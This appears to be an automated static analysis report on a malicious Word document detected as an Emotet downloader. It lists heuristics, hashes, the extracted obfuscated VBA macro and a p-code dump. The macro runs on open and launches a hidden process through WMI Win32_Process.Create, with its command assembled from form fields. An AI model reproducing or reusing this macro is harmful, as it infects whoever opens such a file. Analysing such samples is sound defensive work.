Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9d7fd5567f281343…

MALICIOUS

Office (OLE)

188.2 KB Created: 2019-04-11 11:16:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 5ffefa77d2029a9f6952baa1a33c9c48 SHA-1: 67196782888d9fff8cf3c26430883902ac9784d8 SHA-256: 9d7fd5567f281343156d80c5b7839847814580d51998ee6b46bf349f243134ef
250 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6937887-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6937887-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set zQABc14_ = GetObject("winmgmts:Win32_ProcessStartup")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set zQABc14_ = GetObject("winmgmts:Win32_ProcessStartup")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 40315 bytes
SHA-256: e831d29d745ccfc5c8d63c0eff878e26d490199283b0bbc6454c866b195cea01
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "tBAAAG"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "R1C_4A"
Attribute VB_Base = "0{B1EE40FA-7329-4C20-AA0A-E7D776C70CC0}{C8FDBB7D-82E1-4452-BAF4-BF494D09CCE0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "vxAQUo"
Attribute VB_Base = "0{20557A4A-1382-474F-8B5B-78196734D616}{20852D19-4292-4190-9E98-A5287CADD69A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "h_QkUU"
Sub autoopen()
   If oADAADG = M4AAUA Then
  Do While tDQCAQAo And QBAAwcA
      While Z4AocB_U And 726376279
         V44AAx = Asc(213943794 / Oct(423553993))
      Wend
      For BBAQDAXA = 365821946 To 166260168
         UZXAXA = 120658214
      Next
      Set ixAXUAXA = QxA_AwDA
      If pDUADw Eqv 89188184 Then
         pA1DDAB = CDate(jDxoAUx)
      End If
      While CABDX4U < OABZAA
         SxACxAB = (VAAwAU1o)
Wend
   Loop
End If
   If vkD_XCX = K_AB4xA Then
  Do While YwXAA1U And cAcAADw
      While CBAc4UB And 566333637
         VA_DAZc = Asc(796066926 / Oct(289573419))
      Wend
      For oQU_AC = 506896795 To 578651752
         SAAoBBZ4 = 486230626
      Next
      Set vADAD1 = I1AZAA
      If acADcD Eqv 950535512 Then
         AZXAZX = CDate(EoUAxBG)
      End If
      While IUA1X4A < jAAABk
         DQAwGk = (JUU_ZU)
Wend
   Loop
End If
dGGGwA
   If M1GBAD_ = V_kkxX4 Then
  Do While Y_1QADAB And tA_4UZ
      While dUAw1w And 192489091
         MAAGAAw = Asc(532600820 / Oct(825631717))
      Wend
      For B1wAZAD = 29409450 To 945005348
         fUAxoUAX = 66032903
      Next
      Set zU4BAAG = iUBDAA
      If wAAGQZGA Eqv 609248923 Then
         b1AAAUAA = CDate(u1DUAkX)
      End If
      While nUwZwAUC < zQBQoAQC
         kAD1DDBA = (T_XA1A1A)
Wend
   Loop
End If
   If U1AoZAA = sAABAU Then
  Do While CBAoXkA And zAoDBxkA
      While IQAUx1 And 958281172
         k_G_cA = Asc(300482910 / Oct(623348565))
      Wend
      For KXAAB1D = 878863023 To 903272645
         aZAZ_c = 320804914
      Next
      Set fwA_B_1B = cUABUcB
      If VCUAXA Eqv 193686275 Then
         wQQcZA = CDate(NBAkxAc1)
      End If
      While KCAZ4AX < KAAwDZDo
         doUGUAxB = (jAQA4cc)
Wend
   Loop
End If
End Sub

Attribute VB_Name = "lAAcGAQA"
Function dGGGwA()
On Error Resume Next
   If zA1DGU = iwxABC Then
  Do While EAXBAA And GQUkAGD
      While WDGxAX And 790393416
         EkZoUAA = Asc(367390638 / Oct(459947747))
      Wend
      For N4XAUC = 142121423 To 696056855
         wBAAU41A = 276105562
      Next
      Set VxGckwB = oXAQAB
      If QBADAAA Eqv 269873149 Then
         PA4AXAU = CDate(bA4A1AC)
      End If
      While oDUBAGUA < JBZAAQ
         iAxAAXAA = (GAD1AAZc)
Wend
   Loop
End If
   If nA4AkQAw = IA_AkD Then
  Do While WDQGZQA And XBUxQB
      While q_1C_w And 60743499
         KUQBADxD = Asc(258666822 / Oct(149040589))
      Wend
      For HDAB_o = 397702972 To 261942438
         iUA1oDB = 964883333
      Next
      Set NGAAQUAA = OUAwGUG
      If SGAQBDDA Eqv 317742661 Then
         p1xABZAU = CDate(CG4UAXoD)
      End If
      While VXcQADo < l_ZQABcU
         IGc4w1x = (LAXAGAQ)
Wend
   Loop
End If
   If zBA_A_Q = DkwAAUA_ Then
  Do While iDABkkQB And RXDoAABX
      While JQQAXAcD And 468716589
         NUcX1Bc = Asc(503535816 / Oct(339511960))
      Wend
      For nAAoAA_o = 871659490 To 705141349
         ZAQZADA = 672987809
      Next
      Set HD_DUkwB = A1c4xAU
      If fAA4DZ1 Eqv 760726948 Then
         HXcQcQB = CDate(jDAxxw4X)
      End If
      While aAAZAZ_w < dADA_BA
         BBAAQxA = (vD_ADB)
Wend
   Loop
End If
If 3106 < 31772 Then
AUX_Dc = 0
   If SAAGBAU = TAAAAU4 Then
  Do While jU4c_1 And SGwDcBk
      While Mkw_AQx And 206405305
         YA1AD_Q = Asc(2732524 / Oct(60605482))
      Wend
      For rBUCAAQ = 344130040 To 407420117
         cC__BBA = 596399407
      Next
      Set uA_UABBA = DAkU1QZ
      If MoXACU Eqv 354496788 Then
         uAA__BCD = CDate(moAUXXA)
      End If
      While EXAA4QAA < aGUZcA1A
         dAw1CoX1 = (fQDQAGBB)
Wend
   Loop
End If
   If YCQxUA = jGCxAA Then
  Do While tUXAUA And qAoDAAD
      While aXXxoDQ And 48992660
         XA_1QA = Asc(70889092 / Oct(657542157))
      Wend
      For UDAAowA_ = 554316425 To 164538713
         jQUCkc = 11056914
      Next
      Set nX_DAAD = EZ11AA
      If HGxAZA Eqv 661846175 Then
         woAGDA = CDate(jADQAo)
      End If
      While NDAcUZA < rD44AB
         ZAZA4c = (zAcxAxQA)
Wend
   Loop
End If
End If
   If ZwADCx = z1UACxwC Then
  Do While tDcXQZ And RoQU4_AG
      While txA1AwB And 264676300
         LXx1AAUA = Asc(204060330 / Oct(308264146))
      Wend
      For zwGXXA = 670884671 To 240564455
         dADDC4 = 833004165
      Next
      Set bAA_AoZ = D4ZkAAxD
      If BA4kAC Eqv 602345308 Then
         CQA4_U = CDate(iQZAUGAA)
      End If
      While W_ADocQU < C1QBZ1ZD
         AAAADA = (RGQCcXAA)
Wend
   Loop
End If
   If ikBBQA4 = iDAGAA Then
  Do While sAAoQGA And OGo4BB
      While EUDADQ And 462368895
         kDC4QZCA = Asc(865328132 / Oct(801418906))
      Wend
      For C_wCG_A = 971097753 To 507422201
         fDAQwB = 500536973
      Next
      Set tBcQG_AX = kAUAACo
      If QQxX4BAw Eqv 486062827 Then
         RDDcGXZG = CDate(mAxADA)
      End If
      While AADAAAA < SUDAA_w
         kADBAXA = (ockAGA4)
Wend
   Loop
End If
   If BAUoBQA = NcABQBZ Then
  Do While jA_ADADD And vABAAAD
      While E_kCAGAC And 854116137
         DAAAAQo = Asc(396817486 / Oct(723414395))
      Wend
      For mGAcAACD = 755024637 To 168385323
         z_QQACA = 474762019
      Next
      Set hAcwA1A = hB1UAAAA
      If ZA1BAADw Eqv 749271305 Then
         OZQkx1x = CDate(i4AXBAU)
      End If
      While XAZXZA < mAAGDxU
         SQBUxAU = (tAkA_D)
Wend
   Loop
End If
Set zQABc14_ = GetObject("winmgmts:Win32_ProcessStartup")
   If HA44Qk = VGQGkU Then
  Do While IAAAUAQ_ And LUUBAk
      While TXGAAAA And 382467126
         woAxBU = Asc(998144951 / Oct(344840887))
      Wend
      For YxCkQUAc = 577112500 To 853864564
         uAA_AZZ = 932820111
      Next
      Set sZQCUX = c1GQcD
      If tAoAAAA Eqv 279437175 Then
         kUAZBZ = CDate(H_BAxU)
      End If
      While PACkAC < jBA1ZUA
         P_ACAAXD = (ncAAXk)
Wend
   Loop
End If
   If sAoA1_B = i4AAkX Then
  Do While tcckBAA4 And lAAUQBBU
      While DxwAoUB And 124801953
         PDoZQA = Asc(898984994 / Oct(300821258))
      Wend
      For X1AGBAA = 899615391 To 85933953
         WAGooADw = 191980035
      Next
      Set NAZ4DA = wAAcxQ
      If Ck4GA1A Eqv 859280205 Then
         jGGBAD = CDate(CUAwDc)
      End If
      While H4xAADGX < iAACAG
         KZAkXA = (mAAAAACA)
Wend
   Loop
End If
   If EAxGDA4 = i_ADUBZA Then
  Do While GDB4AC And XAQADQA
      While lAACBD And 263495320
         GAZAAc = Asc(29595547 / Oct(884004602))
      Wend
      For bAQAQAA = 678067453 To 170379443
         uAAAQA = 439900511
      Next
      Set z1AwAZo = pA_AcQA
      If MAUADGAw Eqv 388172859 Then
         hX4AQ_wx = CDate(AAAXDAA_)
      End If
      While ZBoXAA < T14kxA
         HGAZ1kA = (zDwAZ1)
Wend
   Loop
End If
If 4333 < 76682 Then
   If ZwcQDADA = SD_xxo1 Then
  Do While UAGAZU And DXDGQAAU
      While U_AxAB And 458806941
         lwBQZA = Asc(587514735 / Oct(696431100))
      Wend
      For Z_DBDxBA = 878175771 To 597231139
         P1QAAQDA = 106401766
      Next
      Set MDQZABxX = vwBxo1
      If MBACxA1w Eqv 605075283 Then
         QAUXAk = CDate(bAZoAAA)
      End If
      While koAAUC < d1ABXXwG
         HwADoU = (kAUAwUQ)
Wend
   Loop
End If
   If McABUDU = dBAwZXQ Then
  Do While U1ccAB And MADDAZ
      While dUADACA And 265059254
         kACAAX = Asc(309123537 / Oct(618376150))
      Wend
      For TAXDcX = 131510759 To 781733977
         HD14CZA = 56337633
      Next
      Set zAcABk1 = uQAo1A1
      If S_BBGBAA Eqv 451954684 Then
         hQACAw = CDate(WZoAA1)
      End If
      While RXxDAcAU < UAUBwAC
         GQBAD4xD = (cAAcoBA)
Wend
   Loop
End If
zQABc14_. _
ShowWindow = AUX_Dc + AUX_Dc + AUX_Dc + AUX_Dc
   If wA1UDD = zoZxXoZU Then
  Do While kA4xkAQB And ZAUABA
      While JwAQ_Ak And 355154625
         rAAwAA = Asc(319041725 / Oct(950963198))
      Wend
      For jCAAoUXG = 158220008 To 229223054
         UBXcDCQG = 913577450
      Next
      Set YxACAABC = iCwAAoDA
      If IkAG_x Eqv 367829142 Then
         IBcAcAA = CDate(wA41AoA)
      End If
      While h1AUCZBA < ZZwBQBUA
         NoAXAQ = (tAABBDU)
Wend
   Loop
End If
   If uAo1xU = TAAUDAA Then
  Do While T1AAUcDQ And i_DUUcQ
      While txX_AkQw And 138010988
         ZQk_1AQQ = Asc(201857084 / Oct(760062489))
      Wend
      For KXAxxADA = 587585445 To 469091946
         zAAXAAA = 933026937
      Next
      Set AAAoDD = ixA1c1
      If bAAAAx Eqv 817036534 Then
         GAAAAxo = CDate(JAGkAx)
      End If
      While tA_GXQU < zoQoxxA
         ODBQxAQB = (WA_AX4)
Wend
   Loop
End If
   If wBU4BA_X = UcAXDX Then
  Do While VAXck4QZ And bDQAUA
      While rAXAoCAx And 145821178
         hAZA4AC = Asc(633531935 / Oct(434451))
      Wend
      For rAAAAA = 599040029 To 119064654
         C4AoQc = 759548955
      Next
      Set E_XADkx = SQAAAABB
      If QDAx1A4B Eqv 170407893 Then
         wXADAG = CDate(NAAUAAQ)
      End If
      While c4AGAAAQ < tBZBBAA
         zQUDA_A = (UQAQ_GxB)
Wend
   Loop
End If
End If
   If SXBUAkA = FAAUACA Then
  Do While IAAAD4Bc And YAABB4
      While zDkGCA And 57101137
         wQwQD_XA = Asc(779042513 / Oct(104676143))
      Wend
      For MQAAZAAA = 429863216 To 605392318
         iAQ4ZD = 9576916
      Next
      Set poXBDU = BAZB_AAD
      If VAxDDxc Eqv 105911020 Then
         dAUDAQAG = CDate(GQUAUQAU)
      End If
      While kQA44x < bXBADGA
         VDCAAwB = (BocAABAU)
Wend
   Loop
End If
   If NQZ4cQD = RGkAAcc Then
  Do While DDXAAZx And u1AoUA1A
      While SUQkAG And 883877842
         cAccBAG = Asc(311312089 / Oct(216658113))
      Wend
      For ABQQ_w = 765121131 To 463585650
         tBUcBAZA = 931120709
      Next
      Set sQGAA1A = FD1AcQCQ
      If vADQGo Eqv 276562465 Then
         VAA1AQ = CDate(EUQC4A)
      End If
      While pBAcQGA < JxZAxAA1
         dAQB1BA = (GA1QAA)
Wend
   Loop
End If
   If twoQAZ = zUoAoDQ Then
  Do While B4kBCBxA And BGoxAwQ
      While pDZAwxAA And 924060594
         CAACBAZ = Asc(423844305 / Oct(930533773))
      Wend
      For jBADBAUQ = 511140524 To 109645097
         lZZGAAGA = 93140798
      Next
      Set UUAAADAA = vAGBBX
      If TAADZA Eqv 454237512 Then
         i4ABQwx = CDate(KAA_QQ_)
      End If
      While oBAA4_QU < QwA_UQk
         MkZAXX = (pA_Z4A)
Wend
   Loop
End If
GetObject("winmgmts:Win32_Process").Create R1C_4A.VDA1QDB.ControlSource + vxAQUo.XDCUD4X + R1C_4A.VDA1QDB.PasswordChar + vxAQUo.uCC4oD + R1C_4A.VDA1QDB.PasswordChar + R1C_4A.VDA1QDB.ControlSource + vxAQUo.hxQwDAAA + R1C_4A.VDA1QDB + R1C_4A.VDA1QDB.ControlTipText + vxAQUo.PcZAG4A + R1C_4A.VDA1QDB.ControlSource + vxAQUo.IUABoA + R1C_4A.VDA1QDB.PasswordChar, EZAAxk, zQABc14_, R1C_4A.VDA1QDB.ControlTipText
   If zDUAAQ = EBcUXAU Then
  Do While v4B1AQo And pA__BGAZ
      While OUBDAAUU And 933902081
         cwCxZZD = Asc(713886308 / Oct(356546459))
      Wend
      For JQAAC4cA = 461210072 To 688939332
         qADZAACA = 937677340
      Next
      Set MDQ_DAX = tAQDDDX
      If jZAZQkX Eqv 421225490 Then
         dAGAUD = CDate(WkAA1A)
      End If
      While U1xAUCBA < iABUACXA
         JQAUBA = (o_wAAGAA)
Wend
   Loop
End If
   If bQBAAAC = ZAAQccDX Then
  Do While lUAAQx_ And sAAAAxX
      While GUcADAA And 974647860
         pA_DAG = Asc(492404642 / Oct(756600254))
      Wend
      For BkAQ1UCo = 410452538 To 110911274
         coAUBDAB = 644408747
      Next
      Set WAADDAGA = lAxAXAD
      If dA1cX4 Eqv 311425886 Then
         GkQD_D = CDate(TDBQA_Z)
      End If
      While XAkUA1QA < IDAQAU4
         oAcA1A = (bQBUQU)
Wend
   Loop
End If
   If AAABQA1C = NAU4AXx Then
  Do While z4Uc4A And YAAAwxCB
      While mcUXocw And 783308954
         zA4A_B = Asc(659204514 / Oct(251372502))
      Wend
      For dQQXAo = 542755209 To 983474569
         oAAA1A4Q = 718353396
      Next
      Set qAcxA_Zc = kCAcc_Q
      If WAAAZAcC Eqv 147106985 Then
         tQwAQZ = CDate(nUAxAQ)
      End If
      While jA11DU < aA4_DAZD
         YAAAw_ = (jBUwkkA)
Wend
   Loop
End If
End Function


' Processing file: /opt/analyzer/scan_staging/449efc7f44504e6683169285abbf7ca8.bin
' ===============================================================================
' Module streams:
' Macros/VBA/tBAAAG - 1104 bytes
' Macros/VBA/R1C_4A - 1157 bytes
' Macros/VBA/vxAQUo - 1154 bytes
' Macros/VBA/h_QkUU - 3725 bytes
' Line #0:
' 	FuncDefn (Sub h_QkUU())
' Line #1:
' 	Ld autoopen 
' 	Ld oADAADG 
' 	Eq 
' 	IfBlock 
' Line #2:
' 	Ld M4AAUA 
' 	Ld tDQCAQAo 
' 	And 
' 	DoWhile 
' Line #3:
' 	Ld QBAAwcA 
' 	LitDI4 0x9F57 0x2B4B 
' 	And 
' 	While 
' Line #4:
' 	LitDI4 0x85F2 0x0CC0 
' 	LitDI4 0xEBC9 0x193E 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	ArgsLd Asc 0x0001 
' 	St Z4AocB_U 
' Line #5:
' 	Wend 
' Line #6:
' 	StartForVariable 
' 	Ld V44AAx 
' 	EndForVariable 
' 	LitDI4 0xFFFA 0x15CD 
' 	LitDI4 0xEDC8 0x09E8 
' 	For 
' Line #7:
' 	LitDI4 0x1926 0x0731 
' 	St BBAQDAXA 
' Line #8:
' 	StartForVariable 
' 	Next 
' Line #9:
' 	SetStmt 
' 	Ld ixAXUAXA 
' 	Set UZXAXA 
' Line #10:
' 	Ld QxA_AwDA 
' 	LitDI4 0xE758 0x0550 
' 	Eqv 
' 	IfBlock 
' Line #11:
' 	Ld pA1DDAB 
' 	Coerce (Date) 
' 	St pDUADw 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	Ld jDxoAUx 
' 	Ld CABDX4U 
' 	Lt 
' 	While 
' Line #14:
' 	Ld SxACxAB 
' 	Paren 
' 	St OABZAA 
' Line #15:
' 	Wend 
' Line #16:
' 	Loop 
' Line #17:
' 	EndIfBlock 
' Line #18:
' 	Ld VAAwAU1o 
' 	Ld vkD_XCX 
' 	Eq 
' 	IfBlock 
' Line #19:
' 	Ld K_AB4xA 
' 	Ld YwXAA1U 
' 	And 
' 	DoWhile 
' Line #20:
' 	Ld cAcAADw 
' 	LitDI4 0x90C5 0x21C1 
' 	And 
' 	While 
' Line #21:
' 	LitDI4 0x046E 0x2F73 
' 	LitDI4 0x8A2B 0x1142 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	ArgsLd Asc 0x0001 
' 	St CBAc4UB 
' Line #22:
' 	Wend 
' Line #23:
' 	StartForVariable 
' 	Ld VA_DAZc 
' 	EndForVariable 
' 	LitDI4 0xA19B 0x1E36 
' 	LitDI4 0x8668 0x227D 
' 	For 
' Line #24:
' 	LitDI4 0x4A62 0x1CFB 
' 	St oQU_AC 
' Line #25:
' 	StartForVariable 
' 	Next 
' Line #26:
' 	SetStmt 
' 	Ld vADAD1 
' 	Set SAAoBBZ4 
' Line #27:
' 	Ld I1AZAA 
' 	LitDI4 0x0558 0x38A8 
' 	Eqv 
' 	IfBlock 
' Line #28:
' 	Ld AZXAZX 
' 	Coerce (Date) 
' 	St acADcD 
' Line #29:
' 	EndIfBlock 
' Line #30:
' 	Ld EoUAxBG 
' 	Ld IUA1X4A 
' 	Lt 
' 	While 
' Line #31:
' 	Ld DQAwGk 
' 	Paren 
' 	St jAAABk 
' Line #32:
' 	Wend 
' Line #33:
' 	Loop 
' Line #34:
' 	EndIfBlock 
' Line #35:
' 	ArgsCall JUU_ZU 0x0000 
' Line #36:
' 	Ld dGGGwA 
' 	Ld M1GBAD_ 
' 	Eq 
' 	IfBlock 
' Line #37:
' 	Ld V_kkxX4 
' 	Ld Y_1QADAB 
' 	And 
' 	DoWhile 
' Line #38:
' 	Ld tA_4UZ 
' 	LitDI4 0x2683 0x0B79 
' 	And 
' 	While 
' Line #39:
' 	LitDI4 0xD7F4 0x1FBE 
' 	LitDI4 0x23E5 0x3136 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	ArgsLd Asc 0x0001 
' 	St dUAw1w 
' Line #40:
' 	Wend 
' Line #41:
' 	StartForVariable 
' 	Ld MAAGAAw 
' 	EndForVariable 
' 	LitDI4 0xC0AA 0x01C0 
' 	LitDI4 0xA324 0x3853 
' 	For 
' Line #42:
' 	LitDI4 0x9507 0x03EF 
' 	St B1wAZAD 
' Line #43:
' 	StartForVariable 
' 	Next 
' Line #44:
' 	SetStmt 
' 	Ld zU4BAAG 
' 	Set fUAxoUAX 
' Line #45:
' 	Ld iUBDAA 
' 	LitDI4 0x669B 0x2450 
' 	Eqv 
' 	IfBlock 
' Line #46:
' 	Ld b1AAAUAA 
' 	Coerce (Date) 
' 	St wAAGQZGA 
' Line #47:
' 	EndIfBlock 
' Line #48:
' 	Ld u1DUAkX 
' 	Ld nUwZwAUC 
' 	Lt 
' 	While 
' Line #49:
' 	Ld kAD1DDBA 
' 	Paren 
' 	St zQBQoAQC 
' Line #50:
' 	Wend 
' Line #51:
' 	Loop 
' Line #52:
' 	EndIfBlock 
' Line #53:
' 	Ld T_XA1A1A 
' 	Ld U1AoZAA 
' 	Eq 
' 	IfBlock 
' Line #54:
' 	Ld sAABAU 
' 	Ld CBAoXkA 
' 	And 
' 	DoWhile 
' Line #55:
' 	Ld zAoDBxkA 
' 	LitDI4 0x35D4 0x391E 
' 	And 
' 	While 
' Line #56:
' 	LitDI4 0x015E 0x11E9 
' 	LitDI4 0x8B55 0x2527 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	ArgsLd Asc 0x0001 
' 	St IQAUx1 
' Line #57:
' 	Wend 
' Line #58:
' 	StartForVariable 
' 	Ld k_G_cA 
' 	EndForVariable 
' 	LitDI4 0x62AF 0x3462 
' 	LitDI4 0xD8C5 0x35D6 
' 	For 
' Line #59:
' 	LitDI4 0x1832 0x131F 
' 	St KXAAB1D 
' Line #60:
' 	StartForVariable 
' 	Next 
' Line #61:
' 	SetStmt 
' 	Ld fwA_B_1B 
' 	Set aZAZ_c 
' Line #62:
' 	Ld cUABUcB 
' 	LitDI4 0x6B03 0x0B8B 
' 	Eqv 
' 	IfBlock 
' Line #63:
' 	Ld wQQcZA 
' 	Coerce (Date) 
' 	St VCUAXA 
' Line #64:
' 	EndIfBlock 
' Line #65:
' 	Ld NBAkxAc1 
' 	Ld KCAZ4AX 
' 	Lt 
' 	While 
' Line #66:
' 	Ld doUGUAxB 
' 	Paren 
' 	St KAAwDZDo 
' Line #67:
' 	Wend 
' Line #68:
' 	Loop 
' Line #69:
' 	EndIfBlock 
' Line #70:
' 	EndSub 
' Macros/VBA/lAAcGAQA - 17283 bytes
' Line #0:
' 	FuncDefn (Function JUU_ZU())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld lAAcGAQA 
' 	Ld zA1DGU 
' 	Eq 
' 	IfBlock 
' Line #3:
' 	Ld iwxABC 
' 	Ld EAXBAA 
' 	And 
' 	DoWhile 
' Line #4:
' 	Ld GQUkAGD 
' 	LitDI4 0x7248 0x2F1C 
' 	And 
' 	While 
' Line #5:
' 	LitDI4 0xEFAE 0x15E5 
' 	LitDI4 0x3EE3 0x1B6A 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	ArgsLd Asc 0x0001 
' 	St WDGxAX 
' Line #6:
' 	Wend 
' Line #7:
' 	StartForVariable 
' 	Ld EkZoUAA 
' 	EndForVariable 
' 	LitDI4 0x99CF 0x0878 
' 	LitDI4 0xFC17 0x297C 
' 	For 
' Line #8:
' 	LitDI4 0x095A 0x1075 
' 	St N4XAUC 
' Line #9:
' 	StartForVariable 
' 	Next 
' Line #10:
' 	SetStmt 
' 	Ld VxGckwB 
' 	Set wBAAU41A 
' Line #11:
' 	Ld oXAQAB 
' 	LitDI4 0xEFFD 0x1015 
' 	Eqv 
' 	IfBlock 
' Line #12:
' 	Ld PA4AXAU 
' 	Coerce (Date) 
' 	St QBADAAA 
' Line #13:
' 	EndIfBlock 
' Line #14:
' 	Ld bA4A1AC 
' 	Ld oDUBAGUA 
' 	Lt 
' 	While 
' Line #15:
' 	Ld iAxAAXAA 
' 	Paren 
' 	St JBZAAQ 
' Line #16:
' 	Wend 
' Line #17:
' 	Loop 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	Ld GAD1AAZc 
' 	Ld nA4AkQAw 
' 	Eq 
' 	IfBlock 
' Line #20:
' 	Ld IA_AkD 
' 	Ld WDQGZQA 
' 	And 
' 	DoWhile 
' Line #21:
' 	Ld XBUxQB 
' 	LitDI4 0xDF4B 0x039E 
' 	And 
' 	While 
' Line #22:
' 	LitDI4 0xF146 0x0F6A 
' 	LitDI4 0x2DCD 0x08E2 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	ArgsLd Asc 0x0001 
' 	St q_1C_w 
' Line #23:
' 	Wend 
' Line #24:
' 	StartForVariable 
' 	Ld KUQBADxD 
' 	EndForVariable 
' 	LitDI4 0x773C 0x17B4 
' 	LitDI4 0xECA6 0x0F9C 
' 	For 
' Line #25:
' 	LitDI4 0xF385 0x3982 
' 	St HDAB_o 
' Line #26:
' 	StartForVariable 
' 	Next 
' Line #27:
' 	SetStmt 
' 	Ld NGAAQUAA 
' 	Set iUA1oDB 
' Line #28:
' 	Ld OUAwGUG 
' 	LitDI4 0x5E45 0x12F0 
' 	Eqv 
' 	IfBlock 
' Line #29:
' 	Ld p1xABZAU 
' 	Coerce (Date) 
' 	St SGAQBDDA 
' Line #30:
' 	EndIfBlock 
' Line #31:
' 	Ld CG4UAXoD 
' 	Ld VXcQADo 
' 	Lt 
' 	While 
' Line #32:
' 	Ld IGc4w1x 
' 	Paren 
' 	St l_ZQABcU 
' Line #33:
' 	Wend 
' Line #34:
' 	Loop 
' Line #35:
' 	EndIfBlock 
' Line #36:
' 	Ld LAXAGAQ 
' 	Ld zBA_A_Q 
' 	Eq 
' 	IfBlock 
' Line #37:
' 	Ld DkwAAUA_ 
' 	Ld iDABkkQB 
' 	And 
' 	DoWhile 
' Line #38:
' 	Ld RXDoAABX 
' 	LitDI4 0x0C2D 0x1BF0 
' 	And 
' 	While 
' Line #39:
' 	LitDI4 0x58C8 0x1E03 
' 	LitDI4 0x8A98 0x143C 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	ArgsLd Asc 0x0001 
' 	St JQQAXAcD 
' Line #40:
' 	Wend 
' Line #41:
' 	StartForVariable 
' 	Ld NUcX1Bc 
' 	EndForVariable 
' 	LitDI4 0x77E2 0x33F4 
' 	LitDI4 0x9A65 0x2A07 
' 	For 
' Line #42:
' 	LitDI4 0xFAA1 0x281C 
' 	St nAAoAA_o 
' Line #43:
' 	StartForVariable 
' 	Next 
' Line #44:
' 	SetStmt 
' 	Ld HD_DUkwB 
' 	Set ZAQZADA 
' Line #45:
' 	Ld A1c4xAU 
' 	LitDI4 0xC5A4 0x2D57 
' 	Eqv 
' 	IfBlock 
' Line #46:
' 	Ld HXcQcQB 
' 	Coerce (Date) 
' 	St fAA4DZ1 
' Line #47:
' 	EndIfBlock 
' Line #48:
' 	Ld jDAxxw4X 
' 	Ld aAAZAZ_w 
' 	Lt 
' 	While 
' Line #49:
' 	Ld BBAAQxA 
' 	Paren 
' 	St dADA_BA 
' Line #50:
' 	Wend 
' Line #51:
' 	Loop 
' Line #52:
' 	EndIfBlock 
' Line #53:
' 	LitDI2 0x0C22 
' 	LitDI2 0x7C1C 
' 	Lt 
' 	IfBlock 
' Line #54:
' 	LitDI2 0x0000 
' 	St vD_ADB 
' Line #55:
' 	Ld AUX_Dc 
' 	Ld SAAGBAU 
' 	Eq 
' 	IfBlock 
' Line #56:
' 	Ld TAAAAU4 
' 	Ld jU4c_1 
' 	And 
' 	DoWhile 
' Line #57:
' 	Ld SGwDcBk 
' 	LitDI4 0x7EB9 0x0C4D 
' 	And 
' 	While 
' Line #58:
…

Open this report in the interactive analyzer, or submit your own file for analysis.